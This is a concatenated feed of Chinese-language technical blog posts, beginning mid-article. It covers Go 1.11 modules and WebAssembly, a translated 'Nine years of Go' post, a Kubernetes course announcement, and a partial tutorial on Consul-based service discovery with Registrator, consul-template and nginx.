mode下，go 1.11 compiler也可以使用vendor进行构建，使用下面命令即可：\ngo build -mod=vendor 注意在上述命令中，只有位于module顶层路径的vendor才会起作用。\n7. 国内gopher如何适应go module 对于国内gopher来说，下载go get package的经历并不是总是那么愉快！尤其是get golang.org/x/xxx路径下的package的时候。以golang.org/x/text为例，在传统的gopath mode下，我们还可以通过下载github.com/golang/text，然后在本地将路径改为golang.org/x/text的方式来获取text相关包。但是在module-aware mode下，对package的下载和本地缓存管理完全由go tool自动完成，国内的gopher们该如何应对呢？\n两种方法：\n1. 用go.mod中的replace语法，将golang.org/x/text指向本地另外一个目录下已经下载好的github.com/golang/text\n2. 使用GOPROXY\n方法1显然具有临时性，本地改改第三方依赖库代码，用于调试还可以；第二种方法显然是正解，我们通过一个proxy来下载那些在qiang外的package。Microsoft工程师开源的athens项目正是一个用于这个用途的go proxy工具。不过限于篇幅，这里就不展开说明了。我将在后续文章详细谈谈 go proxy的，尤其是使用athens实现go proxy的详细方案。\n四. 对WebAssembly的支持 1. 简介 由于长期在后端浸淫，对javascript、WebAssembly等前端的技能了解不多，因此这里对Go支持WebAssembly也就能介绍个梗概。下图是对Go支持WebAssembly的一个粗浅的理解：\n我们看到满足WebAssembly标准要求的wasm运行于browser之上，类比于一个amd64架构的binary program运行于linux操作系统之上。我们在x86-64的linux上执行go build，实质执行的是:\nGOOS=linux GOARCH=amd64 go build ... 因此为了将Go源码编译为wasm，我们需要执行：\nGOOS=js GOARCH=wasm go build ... 同时， _js.go和 *_wasm.go这样的文件也和_linux.go、*_amd64.go一样，会被go compiler做特殊处理。\n2. 一个hello world级别的WebAssembly的例子 例子来自Go官方Wiki，代码结构如下：\n/Users/tony/test/Go/wasm/hellowasm git:(master) ✗ $tree . ├── hellowasm.go ├── index.html └── server.go hellowasm.go是最终wasm应用对应的源码：\n// hellowasm.go package main import \u0026quot;fmt\u0026quot; func main() { fmt.Println(\u0026quot;Hello, WebAssembly!\u0026quot;) } 我们先将其编译为wasm文件main.wasm：\n$GOOS=js GOARCH=wasm go build -o main.wasm hellowasm.go $ls -F hellowasm.go index.html main.wasm* server.go 接下来我们从Goroot下面copy一个javascript支持文件wasm_exec.js：\ncp \u0026quot;$(go env GOROOT)/misc/wasm/wasm_exec.js\u0026quot; . 我们建立index.html，并在该文件中使用wasm_exec.js，并加载main.wasm：\n//index.html \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;meta charset=\u0026quot;utf-8\u0026quot;\u0026gt; \u0026lt;script src=\u0026quot;wasm_exec.js\u0026quot;\u0026gt;\u0026lt;/script\u0026gt; \u0026lt;script\u0026gt; const go = new Go(); WebAssembly.instantiateStreaming(fetch(\u0026quot;main.wasm\u0026quot;), go.importObject).then((result) =\u0026gt; { go.run(result.instance); }); \u0026lt;/script\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt;\u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 最后，我们建立server.go，这是一个File server：\n//server.go package main import ( \u0026quot;flag\u0026quot; \u0026quot;log\u0026quot; \u0026quot;net/http\u0026quot; ) var ( listen = flag.String(\u0026quot;listen\u0026quot;, \u0026quot;:8080\u0026quot;, \u0026quot;listen address\u0026quot;) dir = flag.String(\u0026quot;dir\u0026quot;, \u0026quot;.\u0026quot;, \u0026quot;directory to serve\u0026quot;) ) func main() { flag.Parse() log.Printf(\u0026quot;listening on %q...\u0026quot;, *listen) err := http.ListenAndServe(*listen, http.FileServer(http.Dir(*dir))) log.Fatalln(err) } 启动该server:\n$go run server.go 2018/11/19 21:19:17 listening on \u0026quot;:8080\u0026quot;... 打开Chrome浏览器，右键打开Chrome的“检查”页面，访问127.0.0.1:8080，我们将在console（控制台）窗口看到下面内容：\n我们看到”Hello, WebAssembly”字样输出到console上了！\n3. 使用node.js执行wasm应用 wasm应用除了可以运行于支持WebAssembly的浏览器上之外，还可以通过node.js运行它。\n我的实验环境中安装的node版本是:\n$node -v v9.11.1 我们删除server.go，然后执行下面命令：\n$GOOS=js GOARCH=wasm go run -exec=\u0026quot;$(go env GOROOT)/misc/wasm/go_js_wasm_exec\u0026quot; . Hello, WebAssembly! 我们看到通过go_js_wasm_exec命令我们成功通过node执行了main.wasm。\n不过每次通过go run -exec来执行，命令行太长，不易记住和使用。我们将go_js_wasm_exec放到$PATH下面，然后直接执行go run：\n$export PATH=$PATH:\u0026quot;$(go env GOROOT)/misc/wasm\u0026quot; $which go_js_wasm_exec /Users/tony/.bin/go1.11.2/misc/wasm/go_js_wasm_exec $GOOS=js GOARCH=wasm go run . Hello, WebAssembly! main.wasm同样被node执行，并且这样执行main.wasm程序的命令行长度大大缩短了！\n五. 小结 从Go 1.11版本开始，Go语言开始驶入“语言演化”的深水区。Go语言究竟该如何演化？如何在保持语言兼容性、社区不分裂的前提下，满足社区对于错误处理、泛型等语法特性的需求，是摆在Go设计者面前的一道难题。但我相信，无论Go如何演化，Go设计者都会始终遵循Go语言安身立命的那几个根本原则，也是大多数Gopher喜欢Go的根本原因：兼容、简单、可读和高效。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2018/11/19/some-changes-in-go-1-11/","summary":"\u003cp\u003e转眼间又近年底，距8月25日\u003ca href=\"https://github.com/golang/go/releases/tag/go1.11\"\u003eGo 1.11版本\u003c/a\u003e正式发布已过去快三个月了。由于种种原因，\u003ca href=\"https://tonybai.com/tag/golang\"\u003eGo语言发布变化系列\u003c/a\u003e的Go 1.11版本没能及时放出。近期\u003ca href=\"https://tonybai.com/2018/10/17/imooc-course-kubernetes-practice-go-online/\"\u003e网课发布上线\u003c/a\u003e后，个人时间压力稍缓和。又恰看到近期\u003ca href=\"https://github.com/golang/go/commit/02aa1aeeb1baf9bcfb8b9eeff9c92e93426ae512\"\u003eGo 1.12 release note的initial version已经加入到master\u003c/a\u003e，于是这篇文章便上升到个人Todo list的Top3的位置，我也尽一切可能的碎片时间收集素材，撰写文章内容。这个时候谈Go 1.11，总有炒“冷饭”的嫌疑，虽然这碗饭还有一定温度^_^。\u003c/p\u003e","title":"Go 1.11中值得关注的几个变化"},{"content":"本文翻译自Go官方博客：《Nine years of Go》。\n介绍 今天是我们的Go语言初始版本开源的第九个周年纪念日。在每个周年纪念日上，我们都希望花些时间思考过去一年发生的事情。过去12个月对Go语言和Go社区来说是突破性的一年。\n对Go的爱和接纳 感谢你们所有人，2018年对Go来说是美好的一年！在多个行业调查中，Gopher们表达了他们使用Go的快乐程度，并且许多非Go开发者也表示了他们打算在其他语言之前优先学习Go。\n在Stack Overflow的2018年开发者调查中，Go保持住了其在最受欢迎和最想用的5种编程语言排行榜中的位置。使用过Go的人继续喜欢它，而不曾使用过Go的人则要开始尝试它。\n在ActiveState的2018年开发者调查中，Go占据了榜首，36％的用户回应他们使用Go“非常满意”，61％的受访者回复“很满意”或更好。\nJetBrains的2018年开发者调查将Go评为“最有前途的语言”，其中12％的受访者使用Go，16％的受访者希望将来使用Go。\n在HackerRank的2018年开发者调查中，38％的受访开发人员回应说他们打算下一步学习Go。\n我们对于所有新gopher的加入都表示最大的欢迎，并继续积极致力于改善我们所提供的Go的教育和社区资源。\nGo社区 很难相信，自第一次Go大会和Go聚会(meetup)至今才仅仅五年。去年，我们看到社区领导力在这一领域取得了重大进展。目前全球有超过20个Go会议 和300多场与Go相关的聚会(meetup)。\n多亏了这些会议和聚会的辛勤工作投入，今年已经产生了数百场精彩的主题演讲。以下是我们最喜欢的一些专门针对我们社区的发展以及我们如何更好地支持全球Gophers方面的演讲：\nWriting Accessible Go，是由Julia Ferraioli在GopherCon上呈现给大家的; The Importance of Beginners，来自于GopherCon的Natalie Pistunovich的演讲; The Legacy of Go, Part 2，来自于GothamGo的Carmen Andoh的演讲; Growing a Community of Gophers，来自于Gopherpalooza的Cassandra Salisbury。 在这个主题上，今年我们还修改了Go行为准则， 以更好地支持Go社区的包容性。\nGo社区是一个真正的全球性社区。今年夏天在冰岛举办的GopherCon Europe大会上，Gophers们真实地跨越了各大洲之间的差距。\n（照片来自Winter Francia。）\nGo2 在Go 1（译注：这里指Go1语言规范兼容性规定)发布并历练了五年之后，我们已经开始考虑我们应该改变什么，以便更好地支持大规模的编程。\n去年春天，我们发布了Go module的设计草案，它为版本控制和软件包分发提供了集成机制。最新的Go版本Go 1.11包括对module的初步支持。\n去年夏天，我们发布了关于Go 2如何更好地支持错误值(error value)，错误处理(error handling)和泛型编程(generic programming)的早期草案设计。\n在我们努力实现Go 2的过程中，我们很高兴能够在社区的帮助下完善这些设计 。\nGo贡献者 Go项目多年来来自社区的贡献一直在增加，并且在2018年第二季度达成了一个重要的里程碑，那就是我们从社区获得的贡献第一次比Go团队的贡献更多。\n谢谢 作为整个Go团队的代表，我要真诚地感谢你们所有人。我们很荣幸能够参与Go项目，并感谢世界各地的gopher加入我们。\n我们特别感谢成千上万的志愿者，他们通过指导，组织，贡献和支持您的同伴们来帮助社区发展，是你们把Go变成了今天的样子。\nBy Steve Francia\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2018/11/12/go-opensource-9-years/","summary":"\u003cp\u003e本文翻译自Go官方博客：\u003ca href=\"https://blog.golang.org/9years\"\u003e《Nine years of Go》\u003c/a\u003e。\u003c/p\u003e\n\u003ch3 id=\"介绍\"\u003e介绍\u003c/h3\u003e\n\u003cp\u003e今天是我们的\u003ca href=\"https://tonybai.com/\"\u003eGo语言\u003c/a\u003e初始版本开源的第九个\u003ca href=\"https://tonybai.com/2017/09/24/go-ten-years-and-climbing\"\u003e周年纪念日\u003c/a\u003e。在每个周年纪念日上，我们都希望花些时间思考过去一年发生的事情。过去12个月对Go语言和Go社区来说是突破性的一年。\u003c/p\u003e\n\u003ch3 id=\"对go的爱和接纳\"\u003e对Go的爱和接纳\u003c/h3\u003e\n\u003cp\u003e感谢你们所有人，2018年对Go来说是美好的一年！在多个行业调查中，Gopher们表达了他们使用Go的快乐程度，并且许多非Go开发者也表示了他们打算在其他语言之前优先学习Go。\u003c/p\u003e","title":"Go，9周年"},{"content":"距离我的第一门网课《Kubernetes基础：开启云原生之门》上线已经过去5个多月了，我的实战课《Kubernetes实战：高可用集群搭建、配置、运维与应用》终于在9月27日正式上线了。\n一. 课程介绍 《Kubernetes实战：高可用集群搭建、配置、运维与应用》的课程内容与最初课程设计时规划的内容大纲没有太多出入，基本就是根据我最初的想法拟定的内容，这也基本是我这两年学习k8s、积累的k8s实践的路线。整个课程基于kubernetes 1.10.2版本(docker 17.03.2ce)。课程内容大致分为七个部分（与课程主页的课程目录结构稍有差异，但课程内容是一致的）：\n第一章 搭建你的第一个Kubernetes集群\n本章介绍了一个使用kubeadm引导的Kubernetes集群的搭建和基本配置方法。\n1-1: 导学 1-2: 安装准备 1-3: 初始化集群master节点 1-4: 向集群加入worker节点 1-5: 安装dashboard和heapster 1-6: 验证集群安装结果 第二章 Kubernetes集群探索\n本章对kubeadm初始化集群的原理进行了讲解，并对已经建立的k8s集群中的各个组件进行详细介绍，包括功用、原理和配置等\n2-1: kubeadm init流程揭秘 2-2: kubeadm join流程揭秘 2-3: kubernetes核心组件详解 2-4: kubectl详解 第三章 Kubernetes网络、安全与存储\n本章讲解k8s集群的三个难点：网络、安全与存储的概念和运行原理。\n3-1：kubernetes集群网络\n3-1-1: kubernetes集群的“三个网络” 3-1-2: kubernetes网络的设计要求 3-1-3: kubernetes网络实现 3-1-4: pod网络实现原理 3-1-5: pod网络方案对比 3-1-6: service网络实现原理 3-2: kubernetes集群安全\n3-2-1: kube-apiserver安全模型 3-2-2: 传输安全 3-2-3: 身份验证 3-2-4: 授权 3-2-5: 准入控制 3-3 kubernets集群存储\n3-3-1: Volume 3-3-2: PV和PVC 3-3-3: StorageClass和动态PV供给 3-3-4: Kubernetes存储模型 第四章 高可用Kubernetes集群搭建方案\n本章介绍了什么是高可用k8s集群，并给出了一个可行的高可用Kubernetes集群的搭建方案。\n4-1: 什么是高可用Kubernetes集群 4-2: 高可用Kubernetes集群方案 第五章 Kubernetes集群常见运维操作\n本章讲解了Kubernetes集群的基本运维操作，包括node管理、service、pod管理、日志查看等。并讲解了面对k8s集群问题时如何做troubleshooting。\n5-1: 管理Node与Label 5-2: 管理Namespace、Service和Pod 5-3: 计算资源管理 5-4: 查看事件和容器日志 5-5: 常用TroubleShooting方法 第六章 Kubernetes支撑云原生应用开发案例\n本章讲解了Kubernetes集群的应用：支撑云原生应用开发。并通过实际操作讲解了镜像仓库、集中日志以及云应用治理框架的搭建和使用。\n6-1: Kubernetes与云原生应用 6-2: 高可用私有镜像仓库搭建 6-3: 基于ElasticSearch Stack搭建集群Logging设施 6-4: 基于istio service mesh实现服务治理 第七章 课程回顾与总结\n二. 做网课目的与课程思路 当初接下慕课商务的这门课主要是出于两个目的：\n通过这门课程对自己的k8s学习和实践做一个阶段性的系统总结 尝试一下网课这个“新鲜”事物 现在看来，当初这两个“目的”都实现了。但是录制网课的确是件很“辛苦”的事情，不知道多少的夜晚和周末都留给了“网课资料编写和录制”。尤其是Kubernetes这个主题，讲起来“顾虑”很多：\n和编程语言课不同，Kubernetes平台是个复杂的平台，外延生态很庞大。k8s概念多，如果不把概念和原理交待清楚、讲透彻，直接就上手操作，那样学习后，对k8s的理解仍然不会很深刻，很多问题仍然无法自己去解决，尤其是中高级阶段。 这就导致很多小伙伴认为课程概念讲解“有些多”；\n生产环境中k8s集群有大有小，使用目的也是大不相同，安装方式也是有很多种(官方就列了10多种)，所在的网络环境以及使用的pod网络插件也是区别很大，遇到的问题更是千差万别，这里在准备 课程时也是思来想去，无法覆盖所有生产环境的所有情况。最后决定使用kubeadm搭建一个4节点的集群(使用weave network plugin)，可能能更好的满足初学者的需求，学员们更容易获取搭建这样一个 k8s环境所需的资源。而关于课程中实际操作部分重点集中在前面的k8s搭建、集群探索以及后面的k8s对云应用支撑的环节。所以如果小伙伴们的环境与课程不同，可以在课程后提问，我会尽量第一时间、细致的回答各位的问题。\n关于时长，我在课程里尽量做到没有”废话“。现在的网课多根据“时长”定价（虽然不赞同，但是目前也没有一个更好的量化课程质量的方法）：比如10个小时以上可能就会定到399元，但是不足10小时，可能就在199元这个价位。于是我努力地将课程做到了“199”这个价位上了。对于真正想学习k8s的小伙伴们，这也许是一个“好消息”:)。\n三. 课程小结 Kubernetes还在快速不断地演进！我个人觉得学完本门课程也仅仅是“Kubernetes实践之路”的一个开始而已！应用上云的趋势已经不可逆转，对于云应用开发人员来说，了解和学习Kubernetes就像当年单机时代开发人员要去了解PC操作系统一样重要！希望本门课程能给更多的开发者带去帮助！\n下面是课程的自制海报，欢迎转发:)\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2018/10/17/imooc-course-kubernetes-practice-go-online/","summary":"\u003cp\u003e距离我的第一门网课\u003ca href=\"https://www.imooc.com/learn/978\"\u003e《Kubernetes基础：开启云原生之门》\u003c/a\u003e上线已经过去5个多月了，我的实战课\u003ca href=\"https://coding.imooc.com/class/chapter/284.html\"\u003e《Kubernetes实战：高可用集群搭建、配置、运维与应用》\u003c/a\u003e终于在9月27日正式上线了。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/k8s-practice-frontpage.png\"\u003e\u003c/p\u003e\n\u003ch3 id=\"一-课程介绍\"\u003e一. 课程介绍\u003c/h3\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/k8s-practice-content-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 3: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/k8s-practice-content-2.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://coding.imooc.com/class/chapter/284.html\"\u003e《Kubernetes实战：高可用集群搭建、配置、运维与应用》\u003c/a\u003e的课程内容与最初课程设计时规划的内容大纲没有太多出入，基本就是根据我最初的想法拟定的内容，\u003cstrong\u003e这也基本是我这两年学习k8s、积累的k8s实践的路线\u003c/strong\u003e。整个课程基于kubernetes 1.10.2版本(\u003ca href=\"https://tonybai.com/tag/docker\"\u003edocker\u003c/a\u003e 17.03.2ce)。课程内容大致分为七个部分（与课程主页的课程目录结构稍有差异，但课程内容是一致的）：\u003c/p\u003e","title":"官宣：慕课网课程“Kubernetes实战：高可用集群搭建、配置、运维与应用”上线了"},{"content":"一. 背景 随着2018年年初国务院办公厅联合多个部委共同发布了《国务院办公厅关于促进“互联网+医疗健康”发展的意见(国办发〔2018〕26号)》，国内医疗IT领域又迎来了一波互联网医院建设的高潮。不过互联网医院多基于实体医院建设，虽说挂了一个“互联网”的名号，但互联网医院系统也多与传统的院内系统，比如：HIS、LIS、PACS、EMR等共享院内的IT基础设施。\n如果你略微了解过国内医院院内IT系统的现状，你就知道目前的多数医院的IT系统相比于互联网行业、电信等行业来说是相对“落伍”的，这种落伍不仅体现在IT基础设施的专业性和数量上，更体现在对新概念、新技术、新设计理念等应用上。虽然国内医院IT系统在技术层面呈现出“多样性”的特征，但整体上偏陈旧和保守 – - 你可以在全国范围内找到10-15年前的各种主流语言(VB、delphi、c#等实现的IT系统，并且系统架构多为两层C/S结构的。\n近几年**“互联网+医疗”的兴起的确在一些方面提升了医院的服务效率和水平，但这些互联网医疗系统多部署于院外，并主要集中在“做入口”**。它们并不算是医院的核心系统：即没有这些互联网系统，医院的业务也是照常进行的(患者可以在传统的窗口办理所有院内业务，就是效率低罢了)。因此，虽然这些互联网医疗系统采用了先进的互联网系统设计理念和技术，但并没有真正提升院内系统的技术水平，它们也只能与院内那些“陈旧”的、难于扩展的系统做对接。\n不过互联网医院与这些系统有所不同，虽然它依然“可有可无”，但它却是部署在院内IT基础设施上的系统，同时也受到了院内IT基础设施条件的限制。在我们即将上线的一个针对医院集团的互联网医院版本中，我们就遇到了“被限制”的问题。我们本想上线的Kubernetes集群因为院方提供的硬件“不足”而无法实施，只能“降级”为手工打造的基于consul的微服务服务发现和负载均衡平台，初步满足我们的系统需要。而从k8s到consul的实践过程，总是让我有一种从工业时代回到的农业时代或是“消费降级”的赶脚^_^。\n本文就来说说基于当前较新版本的consul实现微服务的服务发现和负载均衡的过程。\n二. 实验环境 这里有三台阿里云的ECS，即用作部署consul集群，也用来承载工作负载的节点（这点与真实生产环境还是蛮像的，医院也仅能提供类似的这点儿可怜的设备）：\nconsul-1: 192.168.0.129 consul-2: 192.168.0.130 consul-3: 192.168.0.131 操作系统：Ubuntu server 16.04.4 LTS\n内核版本：4.4.0-117-generic\n实验环境安装有：\nDocker 17.03.3-ce consul v1.1.0 consul-template 0.19.5 nginx 1.10.3 registrator master版本 Go 1.11版本 实验所用的样例程序镜像：\nhttpfrontservice httpbackendservice tcpfrontservice 三. 目标及方案原理 本次实验的最基础、最朴素的两个目标：\n所有业务应用均基于容器运行 某业务服务容器启动后，会被自动注册服务，同时其他服务可以自动发现该服务并调用，并且到达这个服务的请求会负载均衡到服务的多个实例。 这里选择了与编程语言技术栈无关的、可搭建微服务的服务发现和负载均衡的Hashicorp的consul。关于consul是什么以及其基本原理和应用，可以参见我多年前写的这篇有关consul的文章。\n但是光有consul还不够，我们还需要结合consul-template、gliderlab的registrator以及nginx共同来实现上述目标，原理示意图如下：\n原理说明：\n对于每个biz node上启动的容器，位于每个node上的Registrator实例会监听到该节点上容器的创建和停止的event，并将容器的信息以consul service的形式写入consul或从consul删除。 位于每个nginx node上的consul-template实例会watch consul集群，监听到consul service的相关event，并将需要expose到external的service信息获取，按照事先定义好的nginx conf template重新生成nginx.conf并reload本节点的nginx，使得nginx的新配置生效。 对于内部服务来说（不通过nginx暴露到外部)，在被registrator写入consul的同时，也完成了在consul DNS的注册，其他服务可以通过特定域名的方式获取该内部服务的IP列表（A地址)和其他信息，比如端口(SRV)，并进而实现与这些内部服务的通信。 参考该原理，落地到我们实验环境的部署示意图如下：\n四. 步骤 下面说说详细的实验步骤。\n1. 安装consul集群 首先我们先来安装consul集群。consul既支持二进制程序直接部署，也支持Docker容器化部署。如果consul集群单独部署在几个专用节点上，那么consul可以使用二种方式的任何一种。但是如果consul所在节点还承载工作负载，考虑consul作为整个分布式平台的核心，降低它与docker engine引擎的耦合（docker engine可能会因各种情况经常restart），还是建议以二进制程序形式直接部署在物理机或vm上。这里的实验环境资源有限，我们采用的是以二进制程序形式直接部署的方式。\nconsul最新版本是1.2.2（截至发稿时），consul 1.2.x版本与consul 1.1.x版本最大的不同在于consul 1.2.x支持service mesh了，这对于consul来说可是革新性的变化，因此这里担心其初期的稳定性，因此我们选择consul 1.1.0版本。\n我们下载consul 1.1.0安装包后，将其解压到/usr/local/bin下。\n在$HOME下建立consul-install目录，并在其下面存放consul集群的运行目录consul-data。在consul-install目录下，执行命令启动节点consul-1上的consul：\nconsul-1 node: # nohup consul agent -server -ui -dns-port=53 -bootstrap-expect=3 -data-dir=/root/consul-install/consul-data -node=consul-1 -client=0.0.0.0 -bind=192.168.0.129 -datacenter=dc1 \u0026gt; consul-1.log \u0026amp; 2\u0026gt;\u0026amp;1 # tail -100f consul-1.log bootstrap_expect \u0026gt; 0: expecting 3 servers ==\u0026gt; Starting Consul agent... ==\u0026gt; Consul agent running! Version: 'v1.1.0' Node ID: 'd23b9495-4caa-9ef2-a1d5-7f20aa39fd15' Node name: 'consul-1' Datacenter: 'dc1' (Segment: '\u0026lt;all\u0026gt;') Server: true (Bootstrap: false) Client Addr: [0.0.0.0] (HTTP: 8500, HTTPS: -1, DNS: 53) Cluster Addr: 192.168.0.129 (LAN: 8301, WAN: 8302) Encrypt: Gossip: false, TLS-Outgoing: false, TLS-Incoming: false ==\u0026gt; Log data will now stream in as it occurs: 2018/09/10 10:21:09 [INFO] raft: Initial configuration (index=0): [] 2018/09/10 10:21:09 [INFO] raft: Node at 192.168.0.129:8300 [Follower] entering Follower state (Leader: \u0026quot;\u0026quot;) 2018/09/10 10:21:09 [INFO] serf: EventMemberJoin: consul-1.dc1 192.168.0.129 2018/09/10 10:21:09 [INFO] serf: EventMemberJoin: consul-1 192.168.0.129 2018/09/10 10:21:09 [INFO] consul: Adding LAN server consul-1 (Addr: tcp/192.168.0.129:8300) (DC: dc1) 2018/09/10 10:21:09 [INFO] consul: Handled member-join event for server \u0026quot;consul-1.dc1\u0026quot; in area \u0026quot;wan\u0026quot; 2018/09/10 10:21:09 [INFO] agent: Started DNS server 0.0.0.0:53 (tcp) 2018/09/10 10:21:09 [INFO] agent: Started DNS server 0.0.0.0:53 (udp) 2018/09/10 10:21:09 [INFO] agent: Started HTTP server on [::]:8500 (tcp) 2018/09/10 10:21:09 [INFO] agent: started state syncer ==\u0026gt; Newer Consul version available: 1.2.2 (currently running: 1.1.0) 2018/09/10 10:21:15 [WARN] raft: no known peers, aborting election 2018/09/10 10:21:17 [ERR] agent: failed to sync remote state: No cluster leader 我们的三个节点的consul都以server角色启动（consul agent -server）,consul集群初始有三个node( -bootstrap-expect=3)，均位于dc1 datacenter(-datacenter=dc1)，服务bind地址为192.168.0.129(-bind=192.168.0.129 )，允许任意client连接（ -client=0.0.0.0）。我们启动了consul ui(-ui)，便于以图形化的方式查看consul集群的状态。我们设置了consul DNS服务的端口号为53（-dns-port=53），这个后续会起到重要作用，这里先埋下小伏笔。\n这里我们使用nohup+\u0026amp;符号的方式将consul运行于后台。生产环境建议使用systemd这样的init系统对consul的启停和配置更新进行管理。\n从consul-1的输出日志来看，单节点并没有选出leader。我们需要继续在consul-2和consul-3两个节点上也重复consul-1上的操作，启动consul：\nconsul-2 node: #nohup consul agent -server -ui -dns-port=53 -bootstrap-expect=3 -data-dir=/root/consul-install/consul-data -node=consul-2 -client=0.0.0.0 -bind=192.168.0.130 -datacenter=dc1 -join 192.168.0.129 \u0026gt; consul-2.log \u0026amp; 2\u0026gt;\u0026amp;1 consul-3 node: # nohup consul agent -server -ui -dns-port=53 -bootstrap-expect=3 -data-dir=/root/consul-install/consul-data -node=consul-3 -client=0.0.0.0 -bind=192.168.0.131 -datacenter=dc1 -join 192.168.0.129 \u0026gt; consul-3.log \u0026amp; 2\u0026gt;\u0026amp;1 启动后，我们查看到consul-3.log中的日志:\n2018/09/10 10:24:01 [INFO] consul: New leader elected: consul-3 2018/09/10 10:24:01 [WARN] raft: AppendEntries to {Voter a215865f-dba7-5caa-cfb3-6850316199a3 192.168.0.130:8300} rejected, sending older logs (next: 1) 2018/09/10 10:24:01 [INFO] raft: pipelining replication to peer {Voter a215865f-dba7-5caa-cfb3-6850316199a3 192.168.0.130:8300} 2018/09/10 10:24:01 [WARN] raft: AppendEntries to {Voter d23b9495-4caa-9ef2-a1d5-7f20aa39fd15 192.168.0.129:8300} rejected, sending older logs (next: 1) 2018/09/10 10:24:01 [INFO] raft: pipelining replication to peer {Voter d23b9495-4caa-9ef2-a1d5-7f20aa39fd15 192.168.0.129:8300} 2018/09/10 10:24:01 [INFO] consul: member 'consul-1' joined, marking health alive 2018/09/10 10:24:01 [INFO] consul: member 'consul-2' joined, marking health alive 2018/09/10 10:24:01 [INFO] consul: member 'consul-3' joined, marking health alive 2018/09/10 10:24:01 [INFO] agent: Synced node info ==\u0026gt; Newer Consul version available: 1.2.2 (currently running: 1.1.0) consul-3 node上的consul被选为初始leader了。我们可以通过consul提供的子命令查看集群状态：\n# consul operator raft list-peers Node ID Address State Voter RaftProtocol consul-3 0020b7aa-486a-5b44-b5fd-be000a380a89 192.168.0.131:8300 leader true 3 consul-1 d23b9495-4caa-9ef2-a1d5-7f20aa39fd15 192.168.0.129:8300 follower true 3 consul-2 a215865f-dba7-5caa-cfb3-6850316199a3 192.168.0.130:8300 follower true 3 我们还可以通过consul ui以图形化方式查看集群状态和集群内存储的各种配置信息：\n至此，consul集群就搭建ok了。\n2. 安装Nginx、consul-template和Registrator 根据前面的“部署示意图”，我们在consul-1和consul-2上安装nginx、consul-template和Registrator，在consul-3上安装Registrator。\na) Nginx的安装\n我们使用ubuntu 16.04.4默认源中的nginx版本:1.10.3，通过apt-get install nginx安装nginx，这个无须赘述了。\nb) consul-template的安装\nconsul-template是一个将consul集群中存储的信息转换为文件形式的工具。常用的场景是监听consul集群中数据的变化，并结合模板将数据持久化到某个文件中，再执行某一关联的action。比如我们这里通过consul-template监听consul集群中service信息的变化，并将service信息数据与nginx的配置模板结合，生成nginx可用的nginx.conf配置文件，并驱动nginx重新reload配置文件，使得nginx的配置更新生效。因此一般来说，哪里部署有nginx，我们就应该有一个配对的consul-template部署。\n在我们的实验环境中consul-1和consul-2两个节点部署了nginx，因此我们需要在consul-1和consul-2两个节点上部署consul-template。我们直接安装comsul-template的二进制程序（我们使用0.19.5版本），下载安装包并解压后，将consul-template放入/usr/local/bin目录下：\n# wget -c https://releases.hashicorp.com/consul-template/0.19.5/consul-template_0.19.5_linux_amd64.zip # unzip consul-template_0.19.5_linux_amd64.zip # mv consul-tempate /usr/local/bin # consul-template -v consul-template v0.19.5 (57b6c71) 这里先不启动consul-template，后续在注册不同服务的场景中，我们再启动consul-template。\nc) Registrator的安装\nRegistrator是另外一种工具，它监听Docker引擎上发生的容器创建和停止事件，并将启动的容器信息以consul service的形式存储在consul集群中。因此，Registrator和node上的docker engine对应，有docker engine部署的节点上都应该安装有对应的Registator。因此我们要在实验环境的三个节点上都部署Registrator。\nRegistrator官方推荐的就是以Docker容器方式运行，但这里我并不使用lastest版本，而是用master版本，因为只有最新的master版本才支持service 